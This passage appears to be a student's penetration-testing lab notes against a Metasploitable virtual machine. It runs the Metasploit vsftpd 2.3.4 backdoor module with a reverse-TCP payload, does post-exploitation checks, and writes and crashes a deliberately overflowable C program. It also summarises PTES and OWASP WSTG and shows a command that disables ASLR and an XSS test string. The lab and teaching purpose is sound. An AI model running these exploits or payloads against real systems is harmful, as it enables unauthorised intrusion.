5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:AF:31:F6 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds
msf > searc vsftpd 2.3.4
[-] Unknown command: searc. Did you mean search? Run the help command for more details.
msf > search vsftpd 2.3.4

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/ftp/vsftpd_234_backdoor    2011-07-03      excellent Yes     VSFTPD 2.3.4 Backdoor Command Execution
```

USE EXPLOIT

use exploit/unix/ftp/vsftpd_234_backdoor

use 0

```
Name      Current Setting  Required  Description
RHOSTS    21              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     21              yes       The target port (TCP)

yload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

Name      Current Setting  Required  Description
FETCH_COMMAND  CURL            yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE   false          yes       Attempt to delete the binary after execution
FETCH_FILELESS none            yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux >=3.17 (for Python variant also Py are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell)
FETCH_SRVHOST  8080            yes       Local IP to use for serving payload
FETCH_SRVPATH  no              no        Local URI to use for serving payload
LHOST       no              yes       The listen address (an interface may be specified)
LPORT       4444            yes       The listen port

When FETCH_COMMAND is one of CURL,GET,WGET:

Name      Current Setting  Required  Description
FETCH_PIPE false            yes       Host both the binary payload and the command so it can be piped directly to the shell.

When FETCH_FILELESS is none:

Name      Current Setting  Required  Description
FETCH_FILENAME  HisBxDIVSd      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR ./              yes       Remote writable dir to store payload; cannot contain spaces
```

SET TARGET

set RHOSTS 192.168.78.133



```

Name      Current Setting  Required  Description
RHOSTS    192.168.78.133   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     21               yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

Name      Current Setting  Required  Description
FETCH_COMMAND  CURL            yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE   false           yes       Attempt to delete the binary after execution
FETCH_FILELESS none            yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python
are sh, bash, zsh) (Accepted: none, python3.8+, shell-search, shell)
FETCH_SRVPATH  8080            yes       Local IP to use for serving payload
FETCH_SRVPORT  8080            yes       Local port to use for serving payload
FETCH_URI_PATH 8080            no        Local URI to use for serving payload
LHOST        192.168.78.130  yes       The listen address (an interface may be specified)
LPORT        4444            yes       The listen port

When FETCH_COMMAND is one of CURL,GET,WGET:

Name      Current Setting  Required  Description
FETCH_PIPE false           yes       Host both the binary payload and the command so it can be piped directly to the shell.

When FETCH_FILELESS is none:

Name      Current Setting  Required  Description
FETCH_FILENAME frXqz2CtDW       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR ./                yes       Remote writable dir to store payload; cannot contain spaces

Exploit target:

Id  Name
--  --
0   Linux/Unix Command

View the full module info with the info, or info -d command.

```

RUN EXPLOIT

exploit

OUTPUT

Command shell session opened

```

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.78.130:4444
[+] 192.168.78.133:21 - Backdoor has been spawned!
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) >

```

PHASE 5 — POST-EXPLOITATION -> Understand impact after compromise.

```

(kali@kali)~$ whoami
kali

```

PRIVILEGE ESCALATION CHECK

sudo -l

```

(kali@kali)~$ sudo -l
Matching Defaults entries for kali on kali:
  env_reset, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty

User kali may run the following commands on kali:
  (ALL : ALL) ALL

```

FIND SUID FILES

find / -perm -4000 2>/dev/null



```
(kali㉿kali)-[~]
└─$ find / -perm -4000 2>/dev/null
/usr/bin/kismet_cap_ubertooth_one
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/kismet_cap_ti_cc_2531
/usr/bin/kismet_cap_hak5_wifi_coconut
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper
/usr/bin/kismet_cap_linux_wifi
/usr/bin/chfn
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/fusermount3
/usr/bin/pkexec
/usr/bin/kismet_cap_nrf_51822
/usr/bin/su
/usr/bin/rsh-redone-rsh
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/gpasswd
/usr/bin/kismet_cap_ti_cc_2540
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/rsh-redone-rlogin
/usr/bin/passwd
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/mount
/usr/bin/ntfs-3g
/usr/bin/kismet_cap_nrf_52840
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

PHASE 6 — Validation -> Confirm findings are real.

VERIFY WEBSITE -> curl -I http://192.168.78.133

```
(kali㉿kali)-[~]
└─$ curl -I http://192.168.78.133
HTTP/1.1 200 OK
Date: Thu, 14 May 2026 06:32:58 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Type: text/html
```

VERIFY phpinfo()

Open:

http://192.168.78.133/phpinfo.php

If PHP info page opens:

Finding validated.

**PHP Version 5.2.4-2ubuntu5.10**

System	Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Build Date	Jan 6 2010 21:50:12
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php5/cgi
Loaded Configuration File	/etc/php5/cgi/php.ini
Scan this dir for additional .ini files	/etc/php5/cgi/conf.d
additional .ini files parsed	/etc/php5/cgi/conf.d/gd.ini, /etc/php5/cgi/conf.d/mysql.ini, /etc/php5/cgi/conf.d/mysqli.ini, /etc/php5/cgi/conf.d/pdo.ini, /etc/php5/cgi/conf.d/pdo_mysql.ini
PHP API	20041225
PHP Extension	20060613
Zend Extension	220060519
Debug Build	no
Thread Safety	disabled
Zend Memory Manager	enabled
IPv6 Support	enabled
Registered PHP Streams	zip, php, file, data, http, ftp, compress.bzip2, compress.zlib, https, ftps
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, sslv3, sslv2, tls
Registered Stream Filters	string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, convert.iconv.*, bzip2.*, zlib.*

PHASE 7 — REPORTING -> Document vulnerabilities professionally

Vulnerability	Severity	Status
vsftpd	2.3.4 backdoor	Critical Exploited
Apache	outdated	High Verified
phpinfo	exposed	Medium Verified
Directory	indexing	Medium Verified

ETHICS OUTPUT

Before testing:

Scope Approved:
192.168.78.133 only

This is VERY IMPORTANT.



Never pentest systems without permission.

PTES, OWASP WSTG & Pentest Ethics — Practical Output

How real penetration testers work professionally and legally.

1. PTES (Penetration Testing Execution Standard)

PTES gives a structured pentesting process.

Think:

PTES = Complete roadmap for penetration testing.

PTES FLOW OUTPUT

1. Pre-Engagement
2. Reconnaissance
3. Threat Modeling
4. Vulnerability Analysis
5. Exploitation
6. Post-Exploitation
7. Reporting

PHASE 1 — PRE-ENGAGEMENT

Goal:

Define what is allowed.

EXAMPLE OUTPUT

Client Authorization: Approved

Scope:

192.168.78.133

Allowed Tests:

Port scanning
Web testing
Controlled exploitation

Not Allowed:

Denial of Service
Production systems
Social engineering



UNDERSTANDING

This phase protects:

Tester legally
Client systems safely

Without scope:

Pentesting becomes illegal.

PHASE 2 — RECON

Goal:

Collect information.

COMMAND

Using Nmap:

```
nmap 192.168.78.133
```

OUTPUT

```
21/tcp open ftp  
22/tcp open ssh  
80/tcp open http
```

PHASE 3 — THREAT MODELING

Goal:

Think like attacker.

EXAMPLE OUTPUT

Potential Attack Paths:

```
FTP weak credentials  
Outdated Apache server  
Exposed phpMyAdmin
```

Meaning:

Tester identifies likely attack methods.

PHASE 4 — VULNERABILITY ANALYSIS

**Goal:**

Find vulnerabilities.

Tool:

Nikto

COMMAND

```
nikto -h http://192.168.78.133
```

OUTPUT

Apache outdated

Directory indexing enabled

phpinfo.php exposed

TRACE enabled

PHASE 5 — EXPLOITATION

Goal:

Prove vulnerability is exploitable.

Tool:

Metasploit Framework

COMMAND

```
msfconsole
```

Search exploit:

```
search vsftpd
```

Use exploit:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

OUTPUT

Backdoor has been spawned

Meaning:

Vulnerability triggered successfully.

PHASE 6 — POST-EXPLOITATION**Goal:**

Understand impact after access.



COMMAND

whoami

OUTPUT

daemon

Meaning:

Low privilege access gained.

PRIVILEGE ESCALATION CHECK

sudo -l

Possible output:

User may run all commands

Meaning:

Root/admin escalation possible.

PHASE 7 — REPORTING

Goal:

Deliver professional report.

REPORT OUTPUT

Vulnerability	Severity	Status
Old Apache	High	Verified
vsftpd backdoor	Critical	Exploited
Directory indexing	Medium	Verified

2. OWASP WSTG

OWASP created:

WSTG

(Web Security Testing Guide)

Purpose:

Detailed checklist for web application testing.

WSTG TESTING OUTPUT



AUTHENTICATION TESTING

Goal:

Check login security.

EXAMPLE OUTPUT

Weak password accepted:

admin:admin

Meaning:

Login security weak.

SESSION TESTING

Goal:

Check session/cookie security.

EXAMPLE OUTPUT

Session cookie missing HttpOnly flag

Meaning:

Cookie theft possible.

INPUT VALIDATION TESTING

Goal:

Check user input security.

SQL INJECTION TEST

Tool:

Burp Suite

EXAMPLE OUTPUT

SQL Injection vulnerability detected

Meaning:

Database attack possible.

CONFIGURATION TESTING

Goal:



Check security settings.

EXAMPLE OUTPUT

Missing Content-Security-Policy header

Meaning:

Weak browser-side protection.

ACCESS CONTROL TESTING

Goal:

Check authorization.

EXAMPLE OUTPUT

Normal user accessed admin page

Meaning:

Authorization broken.

ETHICS OUTPUT

Before ANY pentest:

Authorization Received: YES

Scope Defined: YES

Target Approved: YES

WITHOUT THIS

Pentesting becomes:

Illegal hacking

SANS CASE STUDY UNDERSTANDING

SANS Institute case studies teach:

Real attacks

Real pentest methods

Real reporting

Real incident analysis

COMPLETE PRACTICAL FLOW

Recon

→ Scanning



- Vulnerability Analysis
- Exploitation
- Post-Exploitation
- Reporting

FINAL FEYNMAN UNDERSTANDING

Concept	Simple Meaning
PTES	Full pentest roadmap
OWASP WSTG	Website testing checklist
Ethics	Permission before testing
Reporting	Explain risks professionally

- Find and fix weaknesses before attackers exploit them.

3. Exploit Development Basics

- **Core Concepts:**
 - Exploit Types: Buffer overflows, SQL injection, XSS. Example: XSS via unescaped input.

Exploit - Code or technique that abuses a vulnerability.

A. Buffer Overflow

Program stores more data than memory can handle.

Step 1 — Create Vulnerable Program

Create file:

nano vulnerable.c

Paste this code:

```
#include <stdio.h>
```

```
int main() {  
    char buffer[10];  
  
    printf("Enter text: ");  
    scanf("%s", buffer);  
  
    printf("You entered: %s\n", buffer);  
  
    return 0;  
}
```

Step 2 — Compile Vulnerable Program

```
gcc vulnerable.c -o vulnerable -fno-stack-protector -z execstack -no-pie
```



What These Flags Do	Flag Purpose
-fno-stack-protector	Disable canary protection
-z execstack	Make stack executable
-no-pie	Disable PIE randomization

These are used ONLY for labs.

Step 3 — Run Program

./vulnerable

Step 4 — Trigger Overflow

Run again:

./vulnerable

Input:

Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

OUTPUT = Segmentation fault

```
(kali㉿kali)-[~/Desktop]
└─$ gcc vulnerable.c -o vulnerable -fno-stack-protector

(kali㉿kali)-[~/Desktop]
└─$ gcc vulnerable.c -o vulnerable -fno-stack-protector -z execstack -no-pie

(kali㉿kali)-[~/Desktop]
└─$

(kali㉿kali)-[~/Desktop]
└─$ ./vulnerable
Enter text: sai
You entered: sai

(kali㉿kali)-[~/Desktop]
└─$ ./vulnerable
Enter text: aaaaaaaaaaaaaaaaaaaaaaaaaa
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaa
zsh: segmentation fault ./vulnerable
```

Step 5 — Test Using Python

Instead of typing manually:

python3 -c 'print("A"*100)' | ./vulnerable

```
(kali㉿kali)-[~/Desktop]
└─$ python3 -c 'print("A"*100)' | ./vulnerable
Enter text: You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: done python3 -c 'print("A"*100)' |
zsh: segmentation fault ./vulnerable
```

Output = Segmentation fault.

Here we learned how unsafe input handling can allow programs to accept more data than expected, leading to memory corruption and unstable behavior. You also explored how program crashes occur when memory is overwritten incorrectly and gained an understanding of stack overflow basics, where excessive input can overwrite stack memory and disrupt



normal program execution. These concepts provide foundational knowledge for understanding common software vulnerabilities and secure coding practices.

Step 6 — Debug With GDB

Open debugger:

CMD : `gdb ./vulnerable`

Run program:

`run`

AAAAAAAAAAAAAAAAAAAAA

info registers

```
(kali@kali)-[~/Desktop]
$ gdb ./vulnerable
GNU gdb (Debian 17.1-4) 17.1
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word" ...
Reading symbols from ./vulnerable ...
(gdb) run
Starting program: /home/kali/Desktop/vulnerable
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter text: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

Program received signal SIGSEGV, Segmentation fault.
0x000000000040118e in main ()
(gdb) info registers
rax                0x0                0
rbx                0x0                0
rcx                0x0                0
rdx                0x0                0
rsi                0x400                1024
rdi                0x7fffffffdb40        140737488345920
rbp                0x4141414141414141    0x4141414141414141
rsp                0x7fffffffdd38        0x7fffffffdd38
r8                 0x0                0
r9                 0x0                0
r10                0x0                0
r11                0x202                514
r12                0x1                1
r13                0x7ffff7ffd000        140737354125312
r14                0x7ffff7ffde58        140737488346712
r15                0x403e00            4210176
rip                0x40118e            0x40118e <main+88>
eflags            0x10206            [ PF IF RF ]
```

1. ASLR



ASLR =

Address Space Layout Randomization

Purpose:

Randomize memory addresses.

Makes exploitation harder.

Check ASLR

```
cat /proc/sys/kernel/randomize_va_space
```

Example Output

2

Meaning:

- ASLR enabled

Disable ASLR (LAB ONLY)

```
sudo sysctl -w kernel.randomize_va_space=0
```

Expected Output

```
kernel.randomize_va_space = 0
```

2. WAF

WAF =

Web Application Firewall

Protects websites against:

- SQL injection
- XSS
- Malicious requests

Example blocked payload:

```
<script>alert(1)</script>
```

3. Patching

Patch =

Security update fixing vulnerability.

Example:

- Apache vulnerable today
- Vendor releases patch
- Vulnerability removed